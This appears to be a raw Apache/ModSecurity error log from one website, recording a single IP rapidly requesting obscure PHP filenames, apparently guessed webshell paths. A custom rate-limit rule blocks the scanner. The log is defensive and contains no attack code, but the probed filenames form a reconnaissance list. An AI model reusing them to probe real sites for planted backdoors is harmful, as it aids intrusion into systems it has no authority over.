[Wed Dec 24 21:13:56.842909 2025] [:error] [pid 16468:tid 16539] [client 20.58.140.78:9266] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aUvnFIdyfuSTFLkCbP-kdQAAAI8"]
[Wed Dec 24 21:13:59.732018 2025] [:error] [pid 29371:tid 29380] [client 20.58.140.78:9227] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aUvnF3s-DlKLysSq5L-t1QAAAcc"]
[Wed Dec 24 21:14:03.893522 2025] [:error] [pid 16466:tid 16482] [client 20.58.140.78:9253] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aUvnG7u0JcuKJMjJn6xXzwAAAAw"]
[Wed Dec 24 21:14:06.290427 2025] [:error] [pid 16466:tid 16486] [client 20.58.140.78:9248] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shlo.php"] [unique_id "aUvnHru0JcuKJMjJn6xX0wAAABA"]
[Wed Dec 24 21:14:07.604389 2025] [:error] [pid 54139:tid 54163] [client 20.58.140.78:60969] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sec.php"] [unique_id "aUvnH8rYCZenIDzgXuK4cwAAARY"]
[Wed Dec 24 21:14:26.614352 2025] [proxy_fcgi:error] [pid 16468:tid 16526] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:26.831029 2025] [proxy_fcgi:error] [pid 16468:tid 16534] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:26.859674 2025] [proxy_fcgi:error] [pid 16468:tid 16527] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:26.930709 2025] [proxy_fcgi:error] [pid 16468:tid 16547] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.278303 2025] [proxy_fcgi:error] [pid 16468:tid 16532] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.335982 2025] [proxy_fcgi:error] [pid 16468:tid 16546] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.387264 2025] [proxy_fcgi:error] [pid 16468:tid 16524] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.409024 2025] [proxy_fcgi:error] [pid 16468:tid 16538] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.576023 2025] [proxy_fcgi:error] [pid 16468:tid 16529] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.719609 2025] [proxy_fcgi:error] [pid 16468:tid 16541] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.757697 2025] [proxy_fcgi:error] [pid 16468:tid 16535] [client 20.58.140.78:9274] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:14:27.793881 2025] [:error] [pid 16468:tid 16537] [client 20.58.140.78:9274] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfvul.php"] [unique_id "aUvnM4dyfuSTFLkCbP-ksgAAAI0"]
[Wed Dec 24 21:14:32.998613 2025] [:error] [pid 28405:tid 28431] [client 20.58.140.78:9907] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfvul.php"] [unique_id "aUvnOMKkTWlhmfdXFqakCAAAAVU"]
[Wed Dec 24 21:14:36.333252 2025] [:error] [pid 16467:tid 16511] [client 20.58.140.78:60948] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfvul.php"] [unique_id "aUvnPI0TJMcBxX5slgpf-wAAAE4"]
[Wed Dec 24 21:14:40.881864 2025] [:error] [pid 28405:tid 28422] [client 20.58.140.78:60960] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sfvul.php"] [unique_id "aUvnQMKkTWlhmfdXFqakEgAAAUw"]
[Wed Dec 24 21:14:44.143504 2025] [:error] [pid 16468:tid 16524] [client 20.58.140.78:9278] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/icdwb.php"] [unique_id "aUvnRIdyfuSTFLkCbP-kuwAAAIA"]
[Wed Dec 24 21:14:46.119431 2025] [:error] [pid 28777:tid 28800] [client 20.58.140.78:9368] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/icdwb.php"] [unique_id "aUvnRpBVBcZ34cSqz8pK7gAAAZU"]
[Wed Dec 24 21:14:46.258253 2025] [:error] [pid 16466:tid 16476] [client 20.58.140.78:9247] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/icdwb.php"] [unique_id "aUvnRru0JcuKJMjJn6xX7AAAAAY"]
[Wed Dec 24 21:14:46.437444 2025] [:error] [pid 16467:tid 16502] [client 20.58.140.78:60963] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/icdwb.php"] [unique_id "aUvnRo0TJMcBxX5slgpgBQAAAEU"]
[Wed Dec 24 21:14:49.090082 2025] [:error] [pid 16466:tid 16472] [client 20.58.140.78:9357] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "aUvnSbu0JcuKJMjJn6xX7gAAAAI"]
[Wed Dec 24 21:14:52.557795 2025] [:error] [pid 28405:tid 28427] [client 20.58.140.78:9271] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "aUvnTMKkTWlhmfdXFqakIQAAAVE"]
[Wed Dec 24 21:14:52.761131 2025] [:error] [pid 54139:tid 54163] [client 20.58.140.78:60928] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "aUvnTMrYCZenIDzgXuK4nwAAARY"]
[Wed Dec 24 21:14:59.441989 2025] [:error] [pid 16466:tid 16488] [client 20.58.140.78:9229] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ticket.php"] [unique_id "aUvnU7u0JcuKJMjJn6xX9AAAABI"]
[Wed Dec 24 21:14:59.941156 2025] [:error] [pid 28777:tid 28783] [client 20.58.140.78:9239] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aUvnU5BVBcZ34cSqz8pK_AAAAYQ"]
[Wed Dec 24 21:15:00.306208 2025] [:error] [pid 16466:tid 16493] [client 20.58.140.78:9394] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aUvnVLu0JcuKJMjJn6xX9QAAABc"]
[Wed Dec 24 21:15:00.820878 2025] [:error] [pid 16466:tid 16479] [client 20.58.140.78:9381] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aUvnVLu0JcuKJMjJn6xX9gAAAAk"]
[Wed Dec 24 21:15:01.546374 2025] [:error] [pid 28777:tid 28791] [client 20.58.140.78:9242] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aUvnVZBVBcZ34cSqz8pK_wAAAYw"]
[Wed Dec 24 21:15:04.295007 2025] [:error] [pid 54139:tid 54160] [client 20.58.140.78:60985] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aUvnWMrYCZenIDzgXuK4pgAAARM"]
[Wed Dec 24 21:15:05.521384 2025] [:error] [pid 16550:tid 16570] [client 20.58.140.78:9263] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aUvnWaYYcdD-LuO7vrAVyQAAANI"]
[Wed Dec 24 21:15:06.159895 2025] [:error] [pid 28405:tid 28429] [client 20.58.140.78:9882] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aUvnWsKkTWlhmfdXFqakOAAAAVM"]
[Wed Dec 24 21:15:06.690662 2025] [:error] [pid 28405:tid 28411] [client 20.58.140.78:60936] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aUvnWsKkTWlhmfdXFqakOgAAAUI"]
[Wed Dec 24 21:15:09.254396 2025] [:error] [pid 28405:tid 28414] [client 20.58.140.78:60962] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amphicyon.php"] [unique_id "aUvnXcKkTWlhmfdXFqakPwAAAUU"]
[Wed Dec 24 21:15:11.133543 2025] [:error] [pid 54139:tid 54164] [client 20.58.140.78:9399] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amphicyon.php"] [unique_id "aUvnX8rYCZenIDzgXuK4qgAAARc"]
[Wed Dec 24 21:15:12.472769 2025] [:error] [pid 28405:tid 28420] [client 20.58.140.78:60958] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amphicyon.php"] [unique_id "aUvnYMKkTWlhmfdXFqakRgAAAUo"]
[Wed Dec 24 21:15:13.458725 2025] [:error] [pid 16467:tid 16509] [client 20.58.140.78:60940] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amphicyon.php"] [unique_id "aUvnYY0TJMcBxX5slgpgEQAAAEw"]
[Wed Dec 24 21:15:16.005802 2025] [:error] [pid 16466:tid 16470] [client 20.58.140.78:9222] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsad.php"] [unique_id "aUvnZLu0JcuKJMjJn6xYDAAAAAA"]
[Wed Dec 24 21:15:17.176321 2025] [:error] [pid 16467:tid 16519] [client 20.58.140.78:9345] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsad.php"] [unique_id "aUvnZY0TJMcBxX5slgpgFAAAAFY"]
[Wed Dec 24 21:15:18.640045 2025] [:error] [pid 16468:tid 16538] [client 20.58.140.78:60933] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsad.php"] [unique_id "aUvnZodyfuSTFLkCbP-k3AAAAI4"]
[Wed Dec 24 21:15:21.332488 2025] [:error] [pid 16468:tid 16531] [client 20.58.140.78:9255] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsad.php"] [unique_id "aUvnaYdyfuSTFLkCbP-k4wAAAIc"]
[Wed Dec 24 21:15:28.225694 2025] [proxy_fcgi:error] [pid 28777:tid 28798] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.245681 2025] [proxy_fcgi:error] [pid 28777:tid 28789] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.264475 2025] [proxy_fcgi:error] [pid 28777:tid 28794] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.303430 2025] [proxy_fcgi:error] [pid 28777:tid 28790] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.526981 2025] [proxy_fcgi:error] [pid 28777:tid 28788] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.546241 2025] [proxy_fcgi:error] [pid 28777:tid 28787] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.564810 2025] [proxy_fcgi:error] [pid 28777:tid 28797] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.630890 2025] [proxy_fcgi:error] [pid 28777:tid 28782] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.665416 2025] [proxy_fcgi:error] [pid 28777:tid 28779] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.683388 2025] [proxy_fcgi:error] [pid 28777:tid 28785] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.703103 2025] [proxy_fcgi:error] [pid 28777:tid 28802] [client 20.58.140.78:9896] AH01071: Got error 'Primary script unknown'
[Wed Dec 24 21:15:28.896546 2025] [:error] [pid 28777:tid 28792] [client 20.58.140.78:9896] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aUvncJBVBcZ34cSqz8pLLQAAAY0"]
[Wed Dec 24 21:15:35.696007 2025] [:error] [pid 16466:tid 16473] [client 20.58.140.78:60984] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aUvnd7u0JcuKJMjJn6xYJwAAAAM"]
[Wed Dec 24 21:15:40.092261 2025] [:error] [pid 16466:tid 16474] [client 20.58.140.78:9372] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aUvnfLu0JcuKJMjJn6xYLAAAAAQ"]
[Wed Dec 24 21:15:41.641160 2025] [:error] [pid 16466:tid 16484] [client 20.58.140.78:9275] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lufix.php"] [unique_id "aUvnfbu0JcuKJMjJn6xYMAAAAA4"]
[Wed Dec 24 21:15:42.793828 2025] [:error] [pid 16466:tid 16472] [client 20.58.140.78:9250] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akp.php"] [unique_id "aUvnfru0JcuKJMjJn6xYNgAAAAI"]
[Wed Dec 24 21:15:44.379993 2025] [:error] [pid 28777:tid 28782] [client 20.58.140.78:9256] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akp.php"] [unique_id "aUvngJBVBcZ34cSqz8pLOAAAAYM"]
[Wed Dec 24 21:15:48.212342 2025] [:error] [pid 16467:tid 16515] [client 20.58.140.78:60972] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akp.php"] [unique_id "aUvnhI0TJMcBxX5slgpgJQAAAFI"]
[Wed Dec 24 21:15:50.031199 2025] [:error] [pid 28405:tid 28429] [client 20.58.140.78:9358] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/akp.php"] [unique_id "aUvnhsKkTWlhmfdXFqakdwAAAVM"]
[Wed Dec 24 21:15:50.877967 2025] [:error] [pid 16467:tid 16504] [client 20.58.140.78:9238] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwsd.php"] [unique_id "aUvnho0TJMcBxX5slgpgKQAAAEc"]
[Wed Dec 24 21:15:52.474725 2025] [:error] [pid 28405:tid 28422] [client 20.58.140.78:9862] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwsd.php"] [unique_id "aUvniMKkTWlhmfdXFqakewAAAUw"]
[Wed Dec 24 21:15:53.626888 2025] [:error] [pid 16468:tid 16536] [client 20.58.140.78:9898] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwsd.php"] [unique_id "aUvniYdyfuSTFLkCbP-k9QAAAIw"]
[Wed Dec 24 21:15:54.897437 2025] [:error] [pid 28777:tid 28791] [client 20.58.140.78:9867] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cwsd.php"] [unique_id "aUvnipBVBcZ34cSqz8pLQQAAAYw"]
[Wed Dec 24 21:15:55.619674 2025] [:error] [pid 16550:tid 16561] [client 20.58.140.78:9289] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tll.php"] [unique_id "aUvni6YYcdD-LuO7vrAV9AAAAMk"]
[Wed Dec 24 21:15:57.317699 2025] [:error] [pid 29371:tid 29388] [client 20.58.140.78:9270] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tll.php"] [unique_id "aUvnjXs-DlKLysSq5L-uBgAAAc8"]
[Wed Dec 24 21:15:57.780492 2025] [:error] [pid 54139:tid 54145] [client 20.58.140.78:9283] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tll.php"] [unique_id "aUvnjcrYCZenIDzgXuK45QAAAQQ"]
[Wed Dec 24 21:16:09.059249 2025] [:error] [pid 16550:tid 16567] [client 20.58.140.78:9376] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tll.php"] [unique_id "aUvnmaYYcdD-LuO7vrAV-AAAAM8"]
[Wed Dec 24 21:16:10.172212 2025] [:error] [pid 16466:tid 16471] [client 20.58.140.78:9390] [client 20.58.140.78] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Okxob.php"] [unique_id "aUvnmru0JcuKJMjJn6xYUwAAAAE"]
